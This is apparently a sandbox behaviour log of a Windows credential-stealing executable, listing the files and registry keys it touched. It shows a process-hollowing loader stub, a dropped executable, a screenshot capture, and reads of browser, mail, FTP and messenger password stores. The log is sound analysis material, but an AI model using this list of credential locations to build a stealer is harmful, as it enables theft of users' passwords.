C:\Users
C:\Users\Seven01
C:\Users\Seven01\AppData
C:\Users\Seven01\AppData\Local
C:\Users\Seven01\AppData\Local\Temp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsec.dll
C:\Windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af
C:\Windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
C:\Windows\System32\p2pcollab.dll
C:\Windows\System32\qagentrt.dll
C:\Windows\System32\dnsapi.dll
C:\Users\Seven01\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\*
C:\Users\Seven01\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs\*
C:\Users\Seven01\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs\*
C:\Users\Seven01\AppData\Local\Temp\CabEEC5.tmp
C:\Users\Seven01\AppData\Local\Temp\TarEEC6.tmp
C:\Users\Seven01\AppData\Local\Temp\
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Users\Seven01\AppData\LocalLow
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\Local\Temp\CabF06C.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF06D.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF08E.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF08F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF0ED.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF0EE.tmp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\ole32.dll
C:\Windows\System32\l_intl.nls
C:\Users\Seven01\AppData\Local\Temp\CabF17C.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF17D.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF1CC.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF1CD.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF1ED.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF1EE.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF23E.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF23F.tmp
C:\Users\Seven01\AppData\Local\Temp\ggg.INI
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\GAC\PublisherPolicy.tme
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Windows.Forms\2.0.0.0__b77a5c561934e089\System.Windows.Forms.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\System.INI
C:\Windows\assembly\GAC_MSIL\System.Drawing\2.0.0.0__b03f5f7f11d50a3a\System.Drawing.INI
C:\Windows\System32\tzres.dll
C:\Windows\Globalization\it-it.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\Globalization\en-us.nlp
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC\mscorlib.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\mscorlib.resources\mscorlib.resources.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it-IT\mscorrc.dll.DLL
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\Globalization\it.nlp
C:\Windows\assembly\GAC_32\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.INI
C:\Users\Seven01\AppData\Local\Temp\it-IT\ggg.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\ggg.resources\ggg.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\ggg.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\ggg.resources\ggg.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\ggg.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\ggg.resources\ggg.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\ggg.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\ggg.resources\ggg.resources.exe
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\bcrypt.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\08d608378aa405adc844f3cf36974b8c\Microsoft.VisualBasic.ni.dll
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic\8.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll
C:\Users\Seven01\AppData\Local\Temp\RunPEDll.dll
C:\Users\Seven01\AppData\Local\Temp\RunPEDll\RunPEDll.dll
C:\Users\Seven01\AppData\Local\Temp\RunPEDll.exe
C:\Users\Seven01\AppData\Local\Temp\RunPEDll\RunPEDll.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\stub.resources\stub.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources\stub.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\stub.resources\stub.resources.exe
C:\Windows\System32\wbem\wbemdisp.tlb
C:\Windows\Microsoft.NET\Framework\v2.0.50727\OLEAUT32.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\CustomMarshalers\bf7e7494e75e32979c7824a07570a8a9\CustomMarshalers.ni.dll
C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.INI
C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll
C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\oleaut32.DLL
C:\Windows\SysWOW64\stdole2.tlb
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Management\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\System.Management.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Management\2.0.0.0__b03f5f7f11d50a3a\System.Management.INI
C:\Windows\Microsoft.NET\Framework\v2.0.50727\wminet_utils.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\oleaut32.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Configuration\bc09ad2d49d8535371845cd7532f9271\System.Configuration.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Configuration\2.0.0.0__b03f5f7f11d50a3a\System.Configuration.INI
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\461d3b6b3f43e6fbe6c897d5936e17e4\System.Xml.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Xml\2.0.0.0__b77a5c561934e089\System.Xml.INI
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\rasapi32.dll
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ws2_32.dll
C:\Windows\Globalization\en.nlp
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\winhttp.dll
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\iphlpapi.dll
C:\Windows\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll
C:\Users\Seven01\AppData\Roaming\Foamex International Inc\
C:\Users\Seven01\AppData\Roaming\Foamex International Inc
C:\Users\Seven01\AppData\Roaming
C:\Users\Seven01\AppData\Roaming\Foamex International Inc\Foamex International Inc.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources\ZVXKQHYNK22WUM74AC1Z9T3GTOZPIMJJPCXOM3E4.resources.exe
C:\Users\Seven01\AppData\Local\Temp\K95.exe
C:\
D:\
C:\Users\Seven01\AppData\Local\Google\Chrome\User Data\*
C:\Users\Seven01\AppData\Roaming\Mozilla\Firefox\profiles.ini
C:\Users\Seven01\AppData\Roaming\Mozilla\Firefox\logins.json
C:\Windows\assembly\GAC_32\Microsoft.VisualBasic.resources\8.0.0.0_it-IT_b03f5f7f11d50a3a
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it-IT_b03f5f7f11d50a3a
C:\Windows\assembly\GAC\Microsoft.VisualBasic.resources\8.0.0.0_it-IT_b03f5f7f11d50a3a
C:\Users\Seven01\AppData\Local\Temp\it-IT\Microsoft.VisualBasic.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\Microsoft.VisualBasic.resources\Microsoft.VisualBasic.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\Microsoft.VisualBasic.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\Microsoft.VisualBasic.resources\Microsoft.VisualBasic.resources.exe
C:\Windows\assembly\GAC_32\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a\Microsoft.VisualBasic.resources.dll
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a\Microsoft.VisualBasic.resources.INI
C:\Users\Seven01\AppData\Roaming\Opera Software\Opera Stable\Login Data
C:\Users\Seven01\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\desktop.ini
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\desktop.ini
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\desktop.ini
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\desktop.ini
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies\
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\IETldCache\
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Security\d9a485330ec2708456134e4a9712a4ab\System.Security.ni.dll
C:\Windows\assembly\GAC_MSIL\System.Security\2.0.0.0__b03f5f7f11d50a3a\System.Security.INI
C:\Users\Seven01\AppData\Local\Temp\log.tmp
C:\Program Files (x86)\Common Files\Apple\Apple Application Support\plutil.exe
C:\Users\Seven01\AppData\Roaming\Mozilla\SeaMonkey\profiles.ini
C:\Users\Seven01\AppData\Roaming\Mozilla\SeaMonkey\logins.json
C:\Users\Seven01\AppData\Local\Comodo\Dragon\User Data\Default\Login Data
C:\Users\Seven01\AppData\Roaming\Flock\Browser\profiles.ini
C:\Program Files (x86)\Mozilla Firefox\nss3.dll
C:\Program Files (x86)\Postbox\nss3.dll
C:\Program Files (x86)\Mozilla Thunderbird\nss3.dll
C:\Program Files (x86)\SeaMonkey\nss3.dll
C:\Program Files (x86)\Flock\nss3.dll
C:\Users\Seven01\AppData\Roaming\Flock\Browser\signons3.txt
C:\Users\Seven01\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data
C:\Users\Seven01\AppData\Local\Chromium\User Data\Default\Login Data
C:\Users\Seven01\AppData\Local\Torch\User Data\Default\Login Data
C:\Users\Seven01\AppData\Local\UCBrowser\*
C:\Users\Seven01\AppData\Roaming\Thunderbird\profiles.ini
C:\Users\Seven01\AppData\Roaming\Thunderbird\signons.sqlite
C:\Users\Seven01\AppData\Roaming\Thunderbird\logins.json
C:\Storage\*
C:\Users\Seven01\AppData\Roaming\Opera Mail\Opera Mail\wand.dat
C:\Users\Seven01\AppData\Roaming\Pocomail\accounts.ini
C:\Users\Seven01\AppData\Roaming\The Bat!
C:\Users\Seven01\AppData\Roaming\Postbox\profiles.ini
C:\Users\Seven01\AppData\Roaming\Postbox\signons.sqlite
C:\Users\Seven01\AppData\Roaming\FileZilla\recentservers.xml
C:\Users\Seven01\AppData\Roaming\Ipswitch\WS_FTP\Sites\ws_ftp.ini
C:\Users\Seven01\AppData\Roaming\CoreFTP\sites.idx
C:\Windows\SysWOW64\wshom.ocx
C:\ProgramData\DynDNS\Updater\config.dyndns
C:\Users\All Users\AppData\Roaming\FlashFXP\3quick.dat
C:\Users\Seven01\AppData\Roaming\.purple\accounts.xml
C:\Users\Seven01\AppData\RoamingSmartFTPClient 2.0FavoritesQuick Connect*.xml
C:\Users\Seven01\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\
C:\Users\Seven01\AppData\Local\Temp\Ftplist.txt
C:\Program Files (x86)\jDownloader\config\database.script
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Gdiplus.dll
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Users\Seven01\AppData\Roaming\ScreenShot
C:\Users\Seven01\AppData\Roaming\ScreenShot\screen.jpeg
C:\Windows\assembly\GAC_32\System.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Windows\assembly\GAC\System.resources\2.0.0.0_it-IT_b77a5c561934e089
C:\Users\Seven01\AppData\Local\Temp\it-IT\System.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\System.resources\System.resources.dll
C:\Users\Seven01\AppData\Local\Temp\it-IT\System.resources.exe
C:\Users\Seven01\AppData\Local\Temp\it-IT\System.resources\System.resources.exe
C:\Windows\assembly\GAC_32\System.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it_b77a5c561934e089
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it_b77a5c561934e089\System.resources.dll
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it_b77a5c561934e089\System.resources.INI
C:\Windows\sysnative\wbem\WmiPrvSE.exe
C:\Windows\inf\hdaudio.inf
C:\Windows\sysnative\DriverStore\it-IT\hdaudio.inf_loc
C:\Windows\inf\hdaudio.PNF
\??\PIPE\samr
C:\DosDevices\pipe\
C:\Windows\sysnative\wbem\repository
C:\Windows\sysnative\wbem\Logs
C:\Windows\sysnative\wbem\AutoRecover
C:\Windows\sysnative\wbem\MOF
C:\Windows\sysnative\wbem\repository\INDEX.BTR
C:\Windows\sysnative\wbem\repository\WRITABLE.TST
C:\Windows\sysnative\wbem\repository\MAPPING1.MAP
C:\Windows\sysnative\wbem\repository\MAPPING2.MAP
C:\Windows\sysnative\wbem\repository\MAPPING3.MAP
C:\Windows\sysnative\wbem\repository\OBJECTS.DATA
C:\Windows\sysnative\wbem\repository\WBEM9xUpgd.dat
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
C:\Windows\Globalization\Sorting\sortdefault.nls
\Device\KsecDD
\??\WMIDataDevice

Read Files

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll
C:\Users\Seven01\AppData\Local\Temp\ggg.exe.config
C:\Users\Seven01\AppData\Local\Temp\ggg.exe
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorwks.dll
C:\Windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.6229_none_d089f796442de10e\msvcr80.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config
C:\Windows\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config
C:\Users\Seven01\AppData\Roaming\Microsoft\CLR Security Config\v2.0.50727.312\security.config.cch
C:\Windows\assembly\NativeImages_v2.0.50727_32\index126.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsec.dll
C:\Windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
C:\Users\Seven01\AppData\Local\Temp\CabEEC5.tmp
C:\Users\Seven01\AppData\Local\Temp\TarEEC6.tmp
C:\Windows\SysWOW64\it-IT\KERNELBASE.dll.mui
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\Local\Temp\CabF06C.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF06D.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF08E.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF08F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF0ED.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF0EE.tmp
C:\Windows\System32\l_intl.nls
C:\Users\Seven01\AppData\Local\Temp\CabF17C.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF17D.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF1CC.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF1CD.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF1ED.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF1EE.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF23E.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF23F.tmp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorjit.dll
C:\Windows\assembly\pubpol23.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\System\9e0a3b9b9f457233a335d7fba8f95419\System.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Drawing\dbfe8642a8ed7b2b103ad28e0c96418a\System.Drawing.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\3afcd5168c7a6cb02eab99d7fd71e102\System.Windows.Forms.ni.dll
C:\Windows\System32\tzres.dll
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp
C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp
C:\Windows\Microsoft.NET\Framework\v2.0.50727\Culture.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\it\mscorrc.dll
C:\Windows\assembly\GAC_MSIL\mscorlib.resources\2.0.0.0_it_b77a5c561934e089\mscorlib.resources.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\Microsoft.VisualBas#\08d608378aa405adc844f3cf36974b8c\Microsoft.VisualBasic.ni.dll
C:\Windows\System32\wbem\wbemdisp.tlb
C:\Windows\assembly\NativeImages_v2.0.50727_32\CustomMarshalers\bf7e7494e75e32979c7824a07570a8a9\CustomMarshalers.ni.dll
C:\Windows\assembly\GAC_32\CustomMarshalers\2.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll
C:\Windows\SysWOW64\stdole2.tlb
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Management\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\System.Management.ni.dll
C:\Windows\Microsoft.NET\Framework\v2.0.50727\wminet_utils.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Configuration\bc09ad2d49d8535371845cd7532f9271\System.Configuration.ni.dll
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Xml\461d3b6b3f43e6fbe6c897d5936e17e4\System.Xml.ni.dll
C:\Users\Seven01\AppData\Roaming\Mozilla\Firefox\profiles.ini
C:\Windows\assembly\GAC_MSIL\Microsoft.VisualBasic.resources\8.0.0.0_it_b03f5f7f11d50a3a\Microsoft.VisualBasic.resources.dll
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat
C:\Windows\assembly\NativeImages_v2.0.50727_32\System.Security\d9a485330ec2708456134e4a9712a4ab\System.Security.ni.dll
C:\Users\Seven01\AppData\Roaming\Mozilla\SeaMonkey\profiles.ini
C:\Users\Seven01\AppData\Roaming\Flock\Browser\profiles.ini
C:\Users\Seven01\AppData\Roaming\Flock\Browser\signons3.txt
C:\Users\Seven01\AppData\Roaming\Thunderbird\profiles.ini
C:\Users\Seven01\AppData\Roaming\Postbox\profiles.ini
C:\Users\Seven01\AppData\Roaming\FileZilla\recentservers.xml
C:\Users\Seven01\AppData\Roaming\CoreFTP\sites.idx
C:\Windows\SysWOW64\wshom.ocx
C:\Windows\winsxs\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\GdiPlus.dll
C:\Users\Seven01\AppData\Roaming\ScreenShot\screen.jpeg
C:\Windows\assembly\GAC_MSIL\System.resources\2.0.0.0_it_b77a5c561934e089\System.resources.dll
C:\Windows\sysnative\wbem\WmiPrvSE.exe
C:\Windows\inf\hdaudio.PNF
\??\PIPE\samr
C:\Windows\sysnative\wbem\repository\MAPPING1.MAP
C:\Windows\sysnative\wbem\repository\MAPPING2.MAP
C:\Windows\sysnative\wbem\repository\MAPPING3.MAP
C:\Windows\sysnative\wbem\repository\OBJECTS.DATA
C:\Windows\sysnative\wbem\repository\INDEX.BTR
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
C:\Windows\Globalization\Sorting\sortdefault.nls
\Device\KsecDD
\??\WMIDataDevice

Write Files

C:\Users\Seven01\AppData\Local\Temp\CabEEC5.tmp
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
C:\Users\Seven01\AppData\Local\Temp\CabF06C.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF08E.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF0ED.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF17C.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF1CC.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF1ED.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF23E.tmp
C:\Users\Seven01\AppData\Local\Temp\K95.exe
C:\Users\Seven01\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\index.dat
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\Cookies\index.dat
C:\Users\Seven01\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat
C:\Users\Seven01\AppData\Roaming\Microsoft\Windows\IETldCache\index.dat
C:\Users\Seven01\AppData\Roaming\ScreenShot\screen.jpeg
\??\PIPE\samr
C:\Windows\sysnative\wbem\repository\WRITABLE.TST
C:\Windows\sysnative\wbem\repository\MAPPING1.MAP
C:\Windows\sysnative\wbem\repository\MAPPING2.MAP
C:\Windows\sysnative\wbem\repository\MAPPING3.MAP
C:\Windows\sysnative\wbem\repository\OBJECTS.DATA
C:\Windows\sysnative\wbem\repository\INDEX.BTR
\??\pipe\PIPE_EVENTROOT\CIMV2PROVIDERSUBSYSTEM
\??\pipe\PIPE_EVENTROOT\CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER
\??\WMIDataDevice

Delete Files

C:\Users\Seven01\AppData\Local\Temp\CabEEC5.tmp
C:\Users\Seven01\AppData\Local\Temp\TarEEC6.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF06C.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF06D.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF08E.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF08F.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF0ED.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF0EE.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF17C.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF17D.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF1CC.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF1CD.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF1ED.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF1EE.tmp
C:\Users\Seven01\AppData\Local\Temp\CabF23E.tmp
C:\Users\Seven01\AppData\Local\Temp\TarF23F.tmp

Keys

HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework\Policy\
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\Policy\v4.0
HKEY_LOCAL_MACHINE\Software\Microsoft\.NETFramework
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\InstallRoot
